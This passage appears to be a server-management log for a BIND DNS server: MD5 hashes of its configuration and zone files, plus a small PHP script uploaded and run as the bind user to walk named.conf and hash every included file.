MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:23:35: Establishing a connection
2026-04-30 17:23:35: 

PUT: /tmp/pkp449493

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:23:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp449493; rm /tmp/pkp449493'

2026-04-30 17:23:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
